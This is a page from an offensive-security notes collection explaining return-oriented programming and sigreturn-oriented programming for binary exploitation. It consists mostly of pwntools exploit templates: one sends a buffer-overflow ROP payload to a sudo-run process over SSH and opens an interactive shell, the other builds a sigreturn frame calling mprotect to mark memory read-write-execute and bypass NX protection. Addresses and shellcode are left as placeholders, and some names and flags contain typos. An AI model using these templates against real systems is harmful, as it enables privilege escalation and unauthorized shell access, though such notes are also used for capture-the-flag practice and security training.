killchain-compendium/Exploits/Binaries/Ropping.md

ROP Chaining

Usage

• Find cyclic buffer size
• Find gadgets via ropper, ROPgadget --binary or even better ropstar

Example

Example 1

from pwn import *

s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
p = s.process(['sudo', '<process>'])

offset=<found_offset_len>

payload = cyclic(offset)
payload += p64(0x4711)
payload += p64(0x235)
payload += p64(0x007)

print(p.recv())
p.sendline(payload)
print(p.recv())
p.sendline("/bin/sh")
p.interactive(prompt='')

SIG ROP

Sigreturn oriented programming.

What is it?

The manual for sigreturn states the following

sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame

Further, mprotect provides a writeable and executable memory segment. Even NX is nullified in this way and the stack will be executable.

From the mprotect manual

The mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the process starting at address addr and continuing for len bytes.

Usage

First, use mprotect on a memory segment. Use the Minimum Address provided by a Ghidra import to get an address to write to.

ROPgadget ---binary <binary> | grep ": syscall"

Use this found address as a start to craft a frame via pwntools

from pwn import *
context.clear(arch='amd64')
context.terminal = ["urxvt", "-e", "sh", "-c"] 
p = process(<process>) 
shellcode = <shellcode from shellstorm>

SYSCALL = <address found by ROPgadget previously>

VULERNERABLE_FUNCTION = p64(<vulnerable function address>)
VULERNABLE_POINTER = <Instruction Pointer to vulnerable function>
WRITEABLE_ADDRESS = <Minimum address provided by Ghidra import>

frame = SigreturnFrame(kernel="amd64")
frame.rax = 10  # mprotect syscall
frame.rdi = WRITEABLE_ADDRESS
frame.rsi = <stackframe size>
frame.rdx = 7  # rwx
frame.rsp = VULERNABLE_POINTER
frame.rip = SYSCALL

payload = b'A' * <found len> + VULERNERABLE_FUNCTION + p64(SYSCALL) + bytes(frame)
p.sendline(payload)
p.recv()

p.interactive(p) # or gdb.attach(p)